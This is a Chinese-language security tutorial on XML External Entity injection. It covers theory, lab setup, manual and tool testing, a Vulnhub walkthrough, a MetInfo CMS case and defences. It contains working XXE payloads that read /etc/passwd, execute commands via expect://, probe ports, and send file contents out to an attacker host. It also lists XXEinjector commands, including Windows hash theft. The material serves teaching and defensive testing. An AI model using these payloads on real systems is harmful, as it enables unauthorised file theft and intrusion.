[紅日安全]Web安全Day8 - XXE實戰攻防

本文由紅日安全成員: ruanruan 編寫,如有不當,還望斧正。

大家好,我們是紅日安全-Web安全攻防小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個項目起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個項目,歡迎通過郵件形式([email protected])聯繫我們。

1. XXE概述

XXE(XML External Entity Injection)即XML外部實體注入。漏洞是在對非安全的外部實體數據進行處理時引發的安全問題。
下面我們主要介紹PHP語言下的XXE攻擊.

1.1 XML基礎

XML是可擴展的標記語言(eXtensible Markup Language),設計用來進行數據的傳輸和存儲。

1.1.1文檔結構

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

<!--XML聲明-->
<?xml version="1.0"?> 
<!--文檔類型定義-->
<!DOCTYPE note [  <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)>  <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)>     <!--定義to元素爲”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)>   <!--定義from元素爲”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)>   <!--定義head元素爲”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)>   <!--定義body元素爲”#PCDATA”類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

1.1.2 DTD

文檔類型定義(DTD)可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。DTD 可被成行地聲明於 XML 文檔中,也可作爲一個外部引用。
(1)內部的 DOCTYPE 聲明
<!DOCTYPE 根元素 [元素聲明]>
(2)外部文檔聲明
<!DOCTYPE 根元素 SYSTEM ”文件名”>

1.1.3 DTD實體

(1)內部實體聲明
<!ENTITY 實體名稱 ”實體的值”>
(2)外部實體聲明
<!ENTITY 實體名稱 SYSTEM ”URI”>
(3)參數實體聲明
<!ENTITY %實體名稱 ”實體的值”>或者<!ENTITY %實體名稱 SYSTEM ”URI”>

三種實體聲明方式使用區別:
參數實體用%實體名稱申明,引用時也用%實體名稱;
其餘實體直接用實體名稱申明,引用時用&實體名稱。
參數實體只能在DTD中申明,DTD中引用;
其餘實體只能在DTD中申明,可在xml文檔中引用。

1.2 XXE原理

XXEXML外部實體注入 。我們先分別理解一下注入和外部實體的含義。
注入:是指XML數據在傳輸過程中被修改,導致服務器執行了修改後的惡意代碼,從而達到攻擊目的。
外部實體:則是指攻擊者通過利用外部實體聲明部分來對XML數據進行修改、插入惡意代碼。
所以XXE就是指XML數據在傳輸過程中利用外部實體聲明部分的“SYSTEM”關鍵詞導致XML解析器可以從本地文件或者遠程URI中讀取受保護的數據。

1.3 XXE分類

下面我們對XXE進行一下分類,按照構造外部實體聲明的方法不同可分爲直接通過DTD外部實體聲明、通過DTD文檔引入外部DTD文檔中的外部實體聲明和通過DTD外部實體聲明引入外部DTD文檔中的外部實體聲明。按照XXE回顯信息不同可分爲正常回顯XXE報錯XXEBlind XXE

1.3.1 按構造外部實體聲明

1.3.1.1 直接通過DTD外部實體聲明

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

1.3.1.2 通過DTD文檔引入外部DTD文檔中的外部實體聲明

XML文件內容:

<?xml version="1.0"?>
    <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">

<hhh>&f;<hhh>

DTD文件內容:

<!ENTITY f SYSTEM "file:///etc/passwd">

1.3.1.3 通過DTD外部實體聲明引入外部DTD文檔中的外部實體聲明

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]>

<hhh>&f;<hhh>

Quan.dtd的外部實體聲明內容:

<!ENTITY f SYSTEM "file:///etc/passwd">

1.3.2 按輸出信息

1.3.2.1正常回顯XXE

正常回顯XXE是最傳統的XXE攻擊,在利用過程中服務器會直接回顯信息,可直接完成XXE攻擊。

1.3.2.2 報錯XXE

報錯XXE是回顯XXE攻擊的一種特例,它與正常回顯XXE的不同在於它在利用過程中服務器回顯的是錯誤信息,可根據錯誤信息的不同判斷是否注入成功。

1.3.2.3 Blind XXE

當服務器沒有回顯,我們可以選擇使用Blind XXE。與前兩種XXE不同之處在於Blind XXE無回顯信息,可組合利用file協議來讀取文件或http協議和ftp協議來查看日誌。
Blind XXE主要使用了DTD約束中的參數實體和內部實體。
在XML基礎有提到過參數實體的定義,這裏就不再做詳細講解。
參數實體是一種只能在DTD中定義和使用的實體,一般引用時使用%作爲前綴。而內部實體是指在一個實體中定義的另一個實體,也就是嵌套定義。

<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻擊者主機IP/Quan.xml">
%remote;
%all;
]>

<root>&send;</root>

Quan.xml內容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

%remote引入外部XML文件到這個 XML 中,%all檢測到send實體,在 root 節點中引入 send 實體,便可實現數據轉發。
利用過程:第3行,存在漏洞的服務器會讀出file的內容(c:/1.txt),通過Quan.xml帶外通道發送給攻擊者服務器上的1.php,1.php做的事情就是把讀取的數據保存到本地的1.txt中,完成Blind XXE攻擊。

2. 危害

當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

2.1 讀取任意文件

PHP中可以通過FILE協議、HTTP協議和FTP協議讀取文件,還可利用PHP僞協議。

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<hhh>&f;<hhh>

XML在各語言下支持的協議有:

2.2 執行系統命令

這種情況很少發生,但在配置不當/開發內部應用情況下(PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程序上),攻擊者能夠通過XXE執行代碼。

<?xml version="1.0"?>
    <!DOCTYPE Quan[
    <!ENTITY f SYSTEM "expect://id">
]>

<hhh>&f;<hhh>

2.3 探測內網端口

可根據返回信息內容判斷該端口是否打開。若測試端口返回“Connection refused”則可以知道該端口是closed的,否則爲open。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
    <!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

3.測試方法

在進行手工測試之前先介紹幾個測試XXE漏洞常用的靶場,包括靶場的安裝、環境配置以及使用方法。

3.1 測試靶場介紹

3.1.1 PHP靶場-bWAPP

bwapp是一款非常好用的漏洞演示平臺,包含有100多個漏洞。開源的php應用後臺Mysql數據庫。

3.1.1.1 安裝

BWAPP有兩種安裝方式,一種是單獨安裝,需部署在Apache+PHP+Mysql環境下;一種是虛擬機導入,下載後直接用VMWare打開即可。
下面分別介紹兩種方式的安裝方法。
1)單獨安裝
由於需要部署在Apache+PHP+Mysql環境下,我們可以直接使用集成環境,這裏筆者使用的是PHPStudy,PHPStudy的安裝及使用在此就不做介紹了。
(1)下載鏈接:
https://sourceforge.net/projects/bwapp/files/latest/download
(2)安裝步驟:
A.下載後解壓文件,將文件放在WWW目錄下
B.在admin/settings.php下更改數據庫連接設置

同時也能在文件下方看到默認登錄賬戶名及密碼,可按需更改

C.運行PHPStudy,然後在瀏覽器打開http://127.0.0.1/bWAPP/install.php

點擊here創建數據庫
D.安裝成功,進入靶場主界面
(3)使用方法:
賬戶名及密碼:bee/bug
可在右上方選擇漏洞和安全級別進行測試

3.1.1.2 虛擬機導入

虛擬機版本能夠測試的漏洞更多,比如破殼漏洞,心臟滴血漏洞等在單獨安裝的環境下無法測試。
(1)下載鏈接:
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
(2)安裝步驟
下載後解壓,打開VMWare,在打開虛擬機選項中進入bee-box文件選擇bee-box.vmx即可。
選擇NAT模式,開啓虛擬機即可進入主界面

(3)使用方法:
登錄:bee/bug;安全等級可選;低-中-高
方法一:直接在bee-box虛擬機中使用,點擊bWAPP-Start即可進入登陸頁面,登錄後在右上方找到XXE漏洞,選擇測試等級

方法二:查看虛擬機IP,在物理機瀏覽器訪問http://虛擬機IP地址/bWAPP/login.php進行登錄,登錄後在右上方找到XXE漏洞,選擇測試等級

3.1.2 java靶場--webGoat

3.1.2.1 webGoat簡介

WebGoat是OWASP組織研製出的用於進行web漏洞實驗的Java靶場程序,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操作隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。

3.1.2.2 WebGoat安裝

(1)下載鏈接
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar
(2)安裝JDK
https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html
需爲最新JDK版本
(3)啓動
java -jar webgoat-server-8.0.0.M25.jar
WebGoat默認是127.0.0.1:8080
java -jar webwolf-8.0.0.M25.jar
Webwolf默認9090端口
可修改IP和端口參數
java -jar webgoat-server-8.0.0.M25.jar --server.port=8000 --server.address=0.0.0.0

(4)在瀏覽器中訪問127.0.0.1:8080/WebGoat(區分大小寫),進入WebGoat

3.1.3 DSVW靶場

3.1.3.1 DSVW簡介

Damn Small Vulnerable Web (DSVW) 是使用 Python 語言開發的 Web應用漏洞 的演練系統。其系統只有一個 python 的腳本文件組成, 當中涵蓋了 26 種 Web應用漏洞環境, 並且腳本代碼行數控制在了100行以內, 當前版本v0.1m。需要python (2.6.x 或 2.7)並且得安裝lxml庫

3.1.3.2 安裝步驟

(1)安裝lxml
apt-get install python-lxml
(2)下載靶場
git clone https://github.com/stamparm/DSVW.git
(3)運行腳本
python dsvw.py
(4)瀏覽器訪問http://127.0.0.1:65412
出現下圖頁面則安裝成功

3.1.4 xxe-lab

3.1.4.1 靶場介紹

xxe-lab是一個使用php,java,python,C#四種當下最常用語言的網站編寫語言來編寫的一個存在xxe漏洞的web demo。由於xxe的payload在不同的語言內置的xml解析器中解析效果不一樣,爲了研究它們的不同。作者分別使用當下最常用的四種網站編寫語言寫了存在xxe漏洞的web demo,將這些demoe整合爲xxe-lab。

3.1.4.2 靶場安裝

下載鏈接:https://github.com/c0ny1/xxe-lab
(1)PHP下安裝
將php-xxe放入PHPStudy的WWW目錄下即可

(2)Java下安裝
java_xxe是serlvet項目,直接導入eclipse當中即可部署運行。
(3)Python下安裝
A.安裝Flask模塊
B.python xxe.py

3.2 手工測試

這裏筆者選用bWAPP虛擬機靶場對回顯XXE和Blind XXE進行手工測試。

3.2.1 Low等級

3.2.1.1測試過程

Bug:選擇XML External Entity Attacks (XXE)
Security level:選擇low

點擊Any bugs?進行抓包,發送到Repeater

根據請求包內容可知,xxe-1.php 文件中將接收到的XML文件以POST方式發送給xxe-2.php,安全等級爲0。
讀取網站任意文件Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136/bWAPP/robots.txt">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

讀取成功

內網端口檢測 payload:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>

<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

探測80端口,顯示報錯信息

netstat -tln查看本機已開放哪些端口

23端口未開放,報錯信息也與探測開放端口的報錯信息不同

由於此靶場沒有BlindXXE漏洞,但我們可以運用BlindXXE的思路來做一下測試
先構造XXE的文件讀取payload

假設沒有回顯,想知道是否成功讀取目標服務器文件,可通過查看日誌

從日誌可知利用XXE成功讀取文件。
將payload中的robots.txt改爲不存在的hhh,再查看一下日誌,可以看到404,目標服務器不存在該目錄。

測試就到這裏,下面我們分析一下Low級別的源碼

3.2.1.2 源碼分析

bWAPP/xxe-2.php關鍵代碼

xxe-2.php文件通過PHP僞協議接收XML內容,然後使用simplexml_load_string() 函數直接把 XML 字符串載入對象中,未做任何過濾,最後再將從xml中獲取的login元素值直接回顯。

3.2.2 Medium\High等級

用讀取robots.txt的代碼測試一下,未返回文件內容

分析一下源碼
bWAPP/xxe-2.php關鍵代碼

可以發現Medium\High等級爲相同代碼。
與Low級別一樣,xxe-2.php文件通過PHP僞協議接收XML內容,然後使用simplexml_load_string() 函數直接把 XML 字符串載入對象中,未做任何過濾。
但不同之處在於login元素值是從session中獲取,攻擊者無法利用login元素來進行XXE攻擊。

3.3 工具測試

3.3.1 Collaborator插件

3.3.1.1 工具介紹

Burp Collaborator是從Burp suite v1.6.15版本添加的新功能,它幾乎是一種全新的滲透測試方法,常用於測試不回顯信息的漏洞。Burp Collaborator會漸漸支持blind XSS,SSRF, asynchronous code injection等其他還未分類的漏洞類型。

3.3.1.2 安裝過程

Burpsuite的extender模塊下的bapp store ,找到 Collaborator點擊安裝即可。
安裝後默認使用官方提供的服務器(推薦),也可以自己搭

3.3.1.3 測試過程

由於小蜜蜂靶場沒有BlindXXE漏洞,我們繼續假裝它就是沒回顯
先抓取數據包,並修改爲如下payload

再點擊Burp Collaborator client打開 collaborator 插件

再點擊Copy to clipboard複製payload url,該url隨機生成

然後使用Collaborator生成的payload url

點擊go後可以在Collaborator看到訪問記錄

響應包返回一串隨機內容,說明成功進行了響應,目標服務器進行了外部的請求和交互,證明存在Blind XXE。

3.3.2 XXEinjector

3.3.2.1 工具介紹

XXEinjector是一款基於Ruby的XXE注入工具,它可以使用多種直接或間接帶外方法來檢索文件。其中,目錄枚舉功能只對Java應用程序有效,而暴力破解攻擊需要使用到其他應用程序。

3.3.2.2 安裝過程

下載鏈接:https://github.com/enjoiz/XXEinjector
(1)安裝Ruby環境
apt-get update //更新源
apt-get install ruby//安裝ruby
ruby -v//查看ruby版本
(2)安裝gem
gem list
gem install [gem-name]
gem environment
(3)下載工具然後解壓,在進入此目錄調用XXEinjector.rb即可
unzip XXEinjector-master.zip

3.3.2.3 使用方法

(1)枚舉HTTPS應用程序中的/etc目錄
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
(2)使用gopher(OOB方法)枚舉/etc目錄:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
(3)二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
(4)使用HTTP帶外方法和netdoc協議對文件進行爆破攻擊
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
(5)通過直接性漏洞利用方式進行資源枚舉
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
(6)枚舉未過濾的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
(7)竊取Windows哈希
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
(8)使用Java jar上傳文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
(9)使用PHP expect執行系統指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
(10)測試XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
(11)記錄請求信息
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

4. 真實實戰演練

這裏選取vulnhub實戰虛擬機靶場來進行實戰,主要包括以下內容

4.1 靶場介紹

Haboob團隊爲發佈的論文“XML外部實體注入 - 解釋和利用”https://www.exploit-db.com/docs/45374製作了這個虛擬機,以利用專用網絡中的漏洞。

4.2 靶場安裝

鏡像下載鏈接:https://download.vulnhub.com/xxe/XXE.zip
下載後直接解壓導入虛擬機即可。默認NAT模式,DHCP服務會自動分配一個IP地址。

4.3 靶場實戰演示

探測IP

可以從掃描結果得出,80端口開放,中間件是Apache,從robots.txt中得出有/xxe/目錄和/admin.php文件
訪問/xxe/目錄

隨便輸個admin,password,然後抓包

改成讀取本機文件payload,成功讀取flagmeout.php

發送到Decoder進行Base64解密

5. CMS實戰演練

選取Metinfo6.0.0進行XXE漏洞實戰攻擊測試。

5.1 CMS介紹

米拓企業建站系統主要用於搭建企業網站,採用PHP+Mysql架構,全站內置了SEO搜索引擎優化機制,支持用戶自定義界面語言(全球各種語言),支持可視化傻瓜式操作、擁有企業網站常用的模塊功能(企業簡介模塊、新聞模塊、產品模塊、下載模塊、圖片模塊、招聘模塊、在線留言、反饋系統、在線交流、友情鏈接、網站地圖、會員與權限管理)。

5.2 CMS安裝

5.2.1 下載地址

https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip

5.2.2 安裝步驟

下載好後解壓放到WWW目錄即可,記得更改數據庫密碼。

5.3 CMS漏洞介紹

漏洞發生在此處文件:app/system/pay/web/pay.class.php
漏洞成因:未禁止外部實體加載

5.4 CMS實戰演示

審計源碼時搜索simplexml_load_string函數,找到漏洞文件app/system/pay/web/pay.class.php

未禁止外部實體加載,測試是否存在外部實體引用。

如果回顯報錯可能是PHP版本問題,更改php.ini設置即可。

通過查看日誌可以知道已成功訪問目標服務器。

5.5 修復建議

更新MetInfo版本,v6.1.0已刪除pay.class.php文件。

6.防禦方法

6.1 過濾用戶提交的XML數據

過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

6.2 PHP下

libxml_disable_entity_loader(true);

6.3 JAVA下

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

6.4 Python下

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章